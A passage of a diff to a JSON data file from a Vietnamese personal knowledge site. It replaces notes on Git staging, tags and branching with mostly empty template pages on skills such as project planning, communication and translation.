"Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Lập kế hoạch", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Lập kế hoạch", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\r\nChanges to be committed:\r\n (use \"git restore --staged ...\" to unstage)\r\n```\r\n\r\nPhần này liệt kê các file đã được staged. [[Staged là chuẩn bị được commit]]. Dòng dưới hướng dẫn cách loại bỏ một file ra khỏi stage: dùng `git restore --staged ...`\r\n\r\n[[Stage, cache, index là những cái tên khác nhau cho cùng một thứ]]\r\n", + "Toàn bộ nội dung": "- [ ] Thiết kế hệ thống thông tin\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T17:04:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cv" + "id": "gh" }, { - "Tiêu đề": "ls-files chỉ làm việc với index", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/ls-files chỉ làm việc với index", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Nhân sự", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Nhân sự", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=20kỹ%20năng%20Nhân%20sự%20(kỹ%20năng)\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Nhân%20sự%20(kỹ%20năng)\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=%20Nhân%20sự%20(kỹ%20năng)\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Nhân%20sự%20(kỹ%20năng)\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Tài liệu\r\n[[Nhân sự]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cw" + "id": "gi" }, { - "Tiêu đề": "pathspecs giúp chọn đường dẫn một cách linh hoạt và tinh tế hơn", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/pathspecs giúp chọn đường dẫn một cách linh hoạt và tinh tế hơn", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Phát triển cộng đồng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Phát triển cộng đồng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Git Pathspecs and How to Use Them | CSS-Tricks - CSS-Tricks](https://css-tricks.com/git-pathspecs-and-how-to-use-them/)\r\n", + "Toàn bộ nội dung": "Mô tả::\r\n# Đầu vào\r\n# Đầu ra\r\n# Tài liệu\r\n- [Community Tool Box](https://ctb.ku.edu/en \"Community Tool Box\")\r\n- [[Phát triển cộng đồng]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cx" + "id": "gj" }, { - "Tiêu đề": "git add -A làm cho index giống như ở working directory. git commit -am chỉ áp dụng cho những file đã có sẵn trong index", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/Stage, index, cache/git add -A làm cho index giống như ở working directory. git commit -am chỉ áp dụng cho những file đã có sẵn trong index", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Quản lý tài chính", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Quản lý tài chính", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=kỹ%20năng%20Quản%20lý%20tài%20chính\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Quản%20lý%20tài%20chính\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=Quản%20lý%20tài%20chính\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năngQuản%20lý%20tài%20chính\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Lợi ích có được từ việc thành thạo\r\n# Tài liệu\r\n## Kỹ năng liên quan\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cy" + "id": "gk" }, { - "Tiêu đề": "Stage, cache, index là những cái tên khác nhau cho cùng một thứ", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/Stage, index, cache/Stage, cache, index là những cái tên khác nhau cho cùng một thứ", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Truyền thông", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Truyền thông", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Mô tả::\n# Đầu vào\n- [ ] Tạo URL\n- [ ] Tìm hiểu về Google Analytics\n# Đầu ra\n# Tài liệu\n[[Hướng dẫn truyền thông]]\n[[Truyền thông]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "cz" + "Ngày tạo": "2023-08-05T08:39:00.000Z", + "Ngày cập nhật": "2024-09-09T13:11:00.000Z", + "id": "gl" }, { - "Tiêu đề": "Untracked, staged, unchanged và unstaged là 4 trạng thái chính của một file", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/Stage, index, cache/Untracked, staged, unchanged và unstaged là 4 trạng thái chính của một file", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tổ chức sự kiện", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Tổ chức sự kiện", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Git essentially has 4 main statuses for the files in your local repo:\r\n- **untracked:** The file is new, Git knows nothing about it. If you `git add `, it becomes:\r\n- **staged:** Now Git knows the file (tracked), but also made it part of the next commit batch (called the _index_). If you `git commit`, it becomes:\r\n- **unchanged:** The file has not changed since its last commit. If you _modify it_, it becomes:\r\n- **unstaged:** Modified but not part of the next commit yet. You can stage it again with `git add`\r\n\r\nAs you can see, a `git add` will **track** untracked files, and **stage** any file.\r\n\r\n_Also: You can untrack an uncommited file with `git rm --cached filename` and unstage a staged file with `git reset HEAD `_\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [Concept of git tracking and git staging](https://stackoverflow.com/a/15803429/3416774)", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\n> ## Nếu bạn cần học kỹ năng này\n> ```button\n> name Tìm người sẵn sàng chia sẻ\n> id shareOnDiscord\n> ```\n> ```button\n> id kiemtrengoogle\n> action https://www.google.com/search?q=kỹ%20năng%20Tổ%20chức%20sự%20kiện%20(kỹ%20năng)\n> ```\n> ```button\n> name Kiếm trên Google (PDF) \n> id kiemtrengoogle\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Tổ%20chức%20sự%20kiện%20(kỹ%20năng)\n> ```\n> ```button\n> id kiemtrenyoutube\n> action https://www.youtube.com/search?q=Tổ%20chức%20sự%20kiện%20(kỹ%20năng)\n> ```\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\n> ```button\n> name Thông báo cho mọi người sự sẵn sàng của bạn\n> id shareOnDiscord\n> ```\n> ```button\n> name Chọn lọc nội dung hay\n> id kiemtrengoogle\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năngTổ%20chức%20sự%20kiện%20(kỹ%20năng)\n> ```\n\n\nMô tả::\n# Mức độ thành thạo\n# Thử thách\n- [ ] Thu âm\n# Khu trưng bày\n- \n# Lợi ích có được từ việc thành thạo\n# Tài liệu\n- [[Các công việc tổ chức sự kiện]]\n- [[Các công việc của một chương trình dã ngoại]]\n## Kỹ năng liên quan\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "c-" + "Ngày tạo": "2023-08-05T08:39:00.000Z", + "Ngày cập nhật": "2024-09-09T13:11:00.000Z", + "id": "gm" }, { - "Tiêu đề": "Git giúp ta du hành thời gian", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Git giúp ta du hành thời gian", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Xây dựng dữ liệu nội bộ", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Xây dựng dữ liệu nội bộ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "c_" + "id": "gn" }, { - "Tiêu đề": "Git tag", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Git tag", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Xây dựng tổ chức", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm dự án/Xây dựng tổ chức", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Liệt kê tất cả các tag\n```\n# Liệt kê tất cả các tag, xếp theo bảng chữ cái\ngit tag -l\n# Liệt kê tất cả các tag và commit nó gắn vào, xếp theo bảng chữ cái và thời gian\ngit tag -n \n```\n## Xoá tag\n```\n# delete local tag '12345'\ngit tag -d 12345\n# delete remote tag '12345' (eg, GitHub version too)\ngit push origin :refs/tags/12345\n# alternative approach\ngit push --delete origin tagName\ngit tag -d tagName\n```\nNguồn::\n", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=kỹ%20năng%20Xây%20dựng%20tổ%20chức\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Xây%20dựng%20tổ%20chức\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=Xây%20dựng%20tổ%20chức\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năngXây%20dựng%20tổ%20chức\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Lợi ích có được từ việc thành thạo\r\n# Tài liệu\r\n- [[Các công việc tổ chức một buổi họp]]\r\n## Kỹ năng liên quan\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T11:05:00.000Z", - "id": "d0" + "id": "go" }, { - "Tiêu đề": "Git", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Git", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Giải quyết mâu thuẫn, thương lượng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Giải quyết mâu thuẫn, thương lượng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n[GitHub Skills](https://skills.github.com/)\n![15 Lazygit Features In Under 15 Minutes - YouTube](https://www.youtube.com/watch?v=CPLdltN7wgE)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-01-27T06:38:00.000Z", - "Ngày cập nhật": "2024-09-01T11:00:00.000Z", - "id": "d1" + "id": "gp" }, { - "Tiêu đề": "Bấm dấu . để mở VS Code web ngay trên GitHub", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/Bấm dấu . để mở VS Code web ngay trên GitHub", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Làm việc nhóm", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Làm việc nhóm", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", + "Dự án": { + "Mã dự án": "D1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "id": "gq" + }, + { + "Tiêu đề": "Lắng nghe, quan sát, đặt câu hỏi", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Lắng nghe, quan sát, đặt câu hỏi", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "d2" + "id": "gr" }, { - "Tiêu đề": "GitHub Page không nhận ra các thư mục có dash phía trước, chỉ đọc được trong docs", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/GitHub Page không nhận ra các thư mục có dash phía trước, chỉ đọc được trong docs", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Nói chuyện với người đã lừa mình", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Nói chuyện với người đã lừa mình", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-01T09:33:00.000Z", - "id": "d3" + "id": "gs" }, { - "Tiêu đề": "Template và fork", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/Template và fork", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Phản biện, lập luận", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Phản biện, lập luận", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| | Template | Fork |\r\n| -------------------------------------------------- | ------------------------------ | --------------------------------------------------------- |\r\n| Commit history | Starts with a single commit | Includes entire commit history of the parent repository |\r\n| Do commit to it appear in your contribution graph? | Yes | No |\r\n| Purpose | To start a new project quickly | A temporary way to contribute code to an existing project |\r\n\r\n- A new fork includes the entire commit history of the parent repository, while a repository created from a template starts with a single commit.\r\n- Commits to a fork don't appear in your contributions graph, while commits to a repository created from a template do appear in your contribution graph.\r\n- A fork can be a temporary way to contribute code to an existing project, while creating a repository from a template starts a new project quickly.\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-10T13:51:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "d4" + "id": "gt" }, { - "Tiêu đề": "Website GitHub giống như để remote control máy của GitHub", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/GitHub/Website GitHub giống như để remote control máy của GitHub", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sư phạm", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Sư phạm", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "d5" + "id": "gu" }, { - "Tiêu đề": "Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Thuyết phục, bán ý tưởng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Thuyết phục, bán ý tưởng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Git mở ra nhiều khả thể trong việc hợp tác]]\n", + "Toàn bộ nội dung": "[Hệ Thống Bán Hàng Đường Thẳng](https://www.youtube.com/watch?v=8GbXH2SQguI \"https://www.youtube.com/watch?v=8GbXH2SQguI\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "d6" + "id": "gv" }, { - "Tiêu đề": "Khi merge, ours là branch hiện tại. Khi rebase, theirs là branch hiện tại", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/Khi merge, ours là branch hiện tại. Khi rebase, theirs là branch hiện tại", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Thuyết trình, nói trước đám đông", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Làm việc với con người/Thuyết trình, nói trước đám đông", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khi merge là lấy commit từ branch khác về branch hiện tại\r\n```\r\n# Xem branch hiện tại\r\n$ git branch\r\n* branch-a\r\n\r\n# Nếu là merge thì branch-a là ours\r\n$ git merge -X ours branch-b \r\n\r\n# Nếu là rebase thì branch-a là theirs\r\n$ git rebase -X theirs branch-b\r\n```\r\n\r\nCó lẽ thay vì dùng `ours` – `theirs`, ta nên dùng `current` – `theirs` cho merge, và `current` – `ours` cho rebase?", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "d7" + "id": "gw" }, { - "Tiêu đề": "Khi viết tính năng mới nên tạo branch mới", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/Khi viết tính năng mới nên tạo branch mới", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Dùng Matecat", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Dịch/Dùng Matecat", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu đang làm dở dang trên main rồi nhận ra từ đầu mình nên tạo branch mới thì dùng lệnh này:\r\n```\r\ngit switch -c tênBranch\r\n```\r\n\r\nTrên VS Code thì cài plugin GitLens. Xong bấm Ctrl+P, chọn `GitLens: Git Switch To...`", + "Toàn bộ nội dung": "Matecat là một phần mềm hỗ trợ dịch thuật (CAT). Các tính năng của một phần mềm như vậy so với dùng Word thông thường:\r\n- Dịch sẵn bằng máy\r\n- Có thể đối chiếu với bản tiếng Anh\r\n- Người biên tập có thể chấm điểm bản dịch\r\n- \r\n# Chuẩn bị file\r\nTránh để tình trạng bị ngắt câu không đúng chỗ\r\n![](https://i.imgur.com/aEXiEJo.png)\r\nHãy chỉnh trong file gốc thành một câu hoàn chỉnh trước rồi hãy up lên\r\n![](https://i.imgur.com/w2pAl7I.png)\r\ntrong Word em bấm vào nút này để nó thể hiện chỗ nó tách đoạn nha. Có những chỗ em tưởng là cùng một đoạn nhưng thực ra là hai đoạn khác nhau\r\n# Thêm người mới\r\n![](https://i.imgur.com/WcZuPQQ.png)\r\n# Lưu bản dịch của mình vào trong team \r\n![](https://i.imgur.com/JpkQd0g.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "d8" + "id": "gx" }, { - "Tiêu đề": "pull không lấy file mới về, mà lấy commit mới về", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/pull không lấy file mới về, mà lấy commit mới về", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Dịch", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Dịch", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n[[Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit]]", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\n> ## Nếu bạn cần học kỹ năng này\n> ```button\n> name Tìm người sẵn sàng chia sẻ\n> id discordhotrovault\n> ```\n> ```button\n> id kiemtrengoogle\n> action https://www.google.com/search?q=20kỹ%20năng%20Dịch\n> ```\n> ```button\n> name Kiếm trên Google (PDF) \n> id kiemtrengoogle\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Dịch\n> ```\n> ```button\n> id kiemtrenyoutube\n> action https://www.youtube.com/search?q=%20Dịch\n> ```\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\n> ```button\n> name Thông báo cho mọi người sự sẵn sàng của bạn\n> id discordhotrovault\n> ```\n> ```button\n> name Chọn lọc nội dung hay\n> id kiemtrengoogle\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Dịch\n> ```\n\n\nMô tả::\n# Mức độ thành thạo\n# Thử thách\n[[Dùng Matecat]]\n# Khu trưng bày\n# Tài liệu\n- [[Kinh nghiệm google thuật ngữ]]\n\n\n[The Future Of Reasoning](https://youtu.be/_ArVh3Cj9rw \"https://youtu.be/_ArVh3Cj9rw\")\n\n[Confronting Prejudice: How to Protect Yourself and Help Others | Pepperdine Online California](https://onlinegrad.pepperdine.edu/blog/prejudice-discrimination-coping-skills/ \"https://onlinegrad.pepperdine.edu/blog/prejudice-discrimination-coping-skills/\")\n\n[How to Handle Being Turned Into a Meme - Kletische](https://kletische.com/handle-being-meme/ \"https://kletische.com/handle-being-meme/\")\n\n[What I learned as a hired consultant for autodidact physicists | Aeon Ideas](https://aeon.co/ideas/what-i-learned-as-a-hired-consultant-for-autodidact-physicists \"https://aeon.co/ideas/what-i-learned-as-a-hired-consultant-for-autodidact-physicists\")\n\n[How to Introduce Nuance to Popular Ideologies / Trends You Disagree With - Kletische](https://kletische.com/nuance-popular-ideas-trends/ \"https://kletische.com/nuance-popular-ideas-trends/\")\n[How to Talk Someone Out of Dangerously Believing \"Mystics\" / Charlatans - Kletische](https://kletische.com/dangerously-believing-mystics-charlatans/ \"https://kletische.com/dangerously-believing-mystics-charlatans/\")\n[How Master Manipulators Conceal Their Intentions - Kletische](https://kletische.com/master-manipulators-conceal-intentions/ \"https://kletische.com/master-manipulators-conceal-intentions/\")\n\n[How to Provide Input When Many Good Opinions Are Being Shared - Kletische](https://kletische.com/provide-opinion-toward-a-group/ \"https://kletische.com/provide-opinion-toward-a-group/\")\n\n[The Wisdom Gap - Center for Humane Technology](https://www.humanetech.com/insights/the-wisdom-gap \"The Wisdom Gap - Center for Humane Technology\")\n\nJames March, Exploration and exploitation in organizational learning\n[[Sự cân bằng giữa exploration và exploitation]]\n\n[E-mail Is Making Us Miserable | The New 